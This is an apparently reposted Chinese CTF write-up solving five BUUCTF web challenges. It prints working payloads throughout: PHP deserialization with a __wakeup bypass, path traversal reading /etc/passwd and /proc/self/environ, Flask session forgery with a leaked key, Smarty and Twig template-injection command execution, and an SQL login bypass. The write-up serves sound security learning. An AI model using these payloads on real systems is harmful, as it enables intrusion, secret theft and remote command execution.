1、[极客大挑战 2019] PHP PHP反序列化
打开题目页面显示如下
既然说了有网站备份的习惯,那么就先扫描目录看看能不能把备份文件扫出来
根据扫描结果可知存在www.zip文件,下载下来内容如下
其中index.php源代码内容如下
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
include 'class.php'; //包含了class.php文件 访问index.php的时候就会执行一次class.php文件
$select = $_GET['select']; //通过select参数接收值
$res=unserialize(@$select); //反序列化select参数的值
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
该代码的主要功能是包含加载了一个class.php文件,然后采用get方式传递一个select参数,随后将之反序列化。接着查看class.php代码如下
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
根据代码的意思可以知道,如果password=100,username=admin,当反序列化在执行__destruct()方法的时候就可以获得flag
首先将对象进行序列化操作
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
序列化的结果如下
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}同理
用序列化的字符先试一试
可以发现并没有起作用,这是因为在进行反序列化操作的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而直接去执行__destruct
。
知识点
__wakeup()是作用在反序列化操作中的。unserialize()会检查类中是否存在一个__wakeup()方法。如果存在,则先首会调用__wakeup()方法。
在反序列化字符串时,属性个数的值大于实际属性个数时,就会跳过 __wakeup()函数的执行。
因此我们将序列化这样设置
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
这里第一个s的长度之所以是14是因为加了两个空格的长度
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}同理
但是根据显示的结果可知还是没有成功。问题是因为这个声明变量是private。private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上 的前缀。字符串长度也包括所加前缀的长度。
我们再次改造一下序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
要特别注意中间的空格或者%00等字符被url编码给破坏了,所以用burp抓包进行测试最好
2、 BUUCTF [PASECA 2019] honey_shop
打开题目链接显示如下
往下来可以看到商品中有flag在售卖
不过很明显的是我们的钱不够买flag的,点击购买会显示余额不足的提示。
猜测可能是传参时存在金额参数或者cookie中有相应的参数值,使用BurpSuite抓取数据包:
POST / HTTP/1.1
Host: 36a40eea-1d06-4e95-bf63-a2163ce8456d.node4.buuoj.cn:81
Content-Length: 6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://36a40eea-1d06-4e95-bf63-a2163ce8456d.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://36a40eea-1d06-4e95-bf63-a2163ce8456d.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YoTn9g.1WGvUrYL1MFcaX1LM9BswbZLETc
Connection: close
item=5
可以看到这里的item应该是商品的序号,使用Python脚本解密数据包中的session:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解密后seesion内容为
{'balance': 1336, 'purchases': []}
可以猜测其中balance应该为当前余额,purchases值为空
首先想到的是伪造session,修改余额。这里想要对seesion进行修改并编码加密成flask能够识别的格式就需要SECRET_KEY的值。
这里值得注意的是为什么解密的时候不需要用到SECRET_KEY的值
secret_key存在的意义是防止用户篡改session的(和jwt的秘钥类似)
flask的session是通过secret_key加密之后存储到cookie里面的,键为session,值为session的加密值
该cookie通过字符串的分割之后,分成了三部分:内容序列化+时间+防篡改值
我们解密仅仅是对seesion中的内容序列化的值进行解密,也就是base64解码。如果想要伪造的话就需要用到SECRET_KEY的值来对后面两部分的值进行处理才能达到要求。
但是现在的问题就是我们不知道这个SECRET_KEY的值啊。那么再仔细观察一下这个网站有没有其他的漏洞点吧。
在首页上方看到了一个提示
*click to download our sweet images*
点击可以下载图片诶,那么就点击一下再抓个包看看
GET /download?image=1.jpg HTTP/1.1
Host: 36a40eea-1d06-4e95-bf63-a2163ce8456d.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://36a40eea-1d06-4e95-bf63-a2163ce8456d.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YoTuAA.bQXJjRNW6Lm7WiHXFs9qva7Buns
Connection: close
看到这个下载地址就觉得可能存在任意文件下载漏洞,测试一下修改其image的值为
/download?image=../../../../../../../etc/passwd
果不其然存在任意文件下载漏洞得到了/etc/passwd文件内容。那么接下来就好说了。从之前的基础知识点我们可以知道
/proc/self 其路径指向当前进程
/environ 记录当前进程的环境变量信息
/proc/self/environ 中就包含有SECRET_KEY的值
SECRET_KEY=0IEmoOD2EwJP0ldxIbsGgnnzs1BqTFxhDPdhJZbi
接下来利用github上的加解密脚本进行seesion的伪造
https://github.com/noraj/flask-session-cookie-manager
python3 flask_session_cookie_manager3.py encode -s "0IEmoOD2EwJP0ldxIbsGgnnzs1BqTFxhDPdhJZbi" -t "{'balance': 1338, 'purchases': []}"
session=eyJiYWxhbmNlIjoxMzM4LCJwdXJjaGFzZXMiOltdfQ.YoTwHw.MBRAMOM9SeT10b7xj3I04pOsm-g
将这个session的值应用于买flag的数据包中,成功获取到flag
3、 [BJDCTF2020]The mystery of ip (Smarty模板注入)
打开题目显示如下
点击Hint显示如下
打开Flag显示如下
到此可知该网站一共三个页面分别是index.php、hint.php、flag.php,也就是说这是一个php的环境。
一看与ip有关,就可以想到可能与X-Forwarded-For
或者client-ip
有关了。先抓个包看看
然后分别添加两个http头试试能不能修改ip地址
这里的IP是可控的,这道题比较有意思就在于:用{7*7}
来判断一下发现这里居然是个SSTI注入。
既然是php环境的模板注入,那么直接尝试执行一下系统命令:{system('ls')}
,发现是可以使用的。因为这里是php的环境,那就猜测一下Smarty的模板注入。
可以执行命令的话就先找到flag存在什么位置,先看一下根目录有什么文件,{system('ls /')}
。
可以看到存在flag目录,尝试直接{system('cat /flag')}
发现是没有waf的,直接获得flag。
4、[BJDCTF2020]Cookie is so stable Twig模板注入
打开题目显示如下
浏览整个网站发现也是只有index.php、flag.php、hint.php三个页面。其中hint.php显示如下
可以看到显示上没有任何提示,那么就查看一下源码
可以看到这里提示了我们关注一下cookie
<!-- Why not take a closer look at cookies? -->
继续看一下flag.php
看到是一个输入框,那么就随便输入测试一下
可以看到输入一个ceshi字符不仅显示出来了还进行了登录操作。没有什么思路,那就按照提示先抓个包看看cookie吧
可以看到这里的cookie格式如下
PHPSESSID=0746b8c982caa83247bd34c1e785ea6d; user=ceshi
user参数的值就是我们提交的值。这道题考察的是模板注入,会将用户cookie里面传过来的user字符串通过模板渲染在页面上,处理不当的话就会导致模板注入。既然是通过模板渲染,我们也可以按照模板引擎的语法来输入,然后让模板把我们的恶意输入成功渲染。
这里是php的环境,常见的模板引擎就是smarty和twig。这里先判断一下到底是哪一个引擎。
Twig
{{7*‘7’}} 输出49
Jinja
{{7*‘7’}}输出7777777
根据响应来看这里使用的是twig引擎,那么就下来就可以利用twig的模板语法进行模板注入了。
由于是Twig注入,所以是有固定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
这里先看一下当前的权限
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
可知当前是一个低权限,很有可能没有查看根目录的权限。所以直接查看常规题目中的路径/flag
5、[极客大挑战 2019]EasySQL
打开题目创建靶场环境
打开链接网站显示如下
这里结合题目的sql猜测是一道sql注入的题目,并且有登录框的话应该是post型的。看到了登录框,首先想到用万能密码登录试试
admin' or 1=1 #
点击登录即可看到flag
flag{6499b087-0267-449b-a686-0ed16884d5cb}
原文始发于微信公众号(守卫者安全):BUUCTF之web解题记录(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论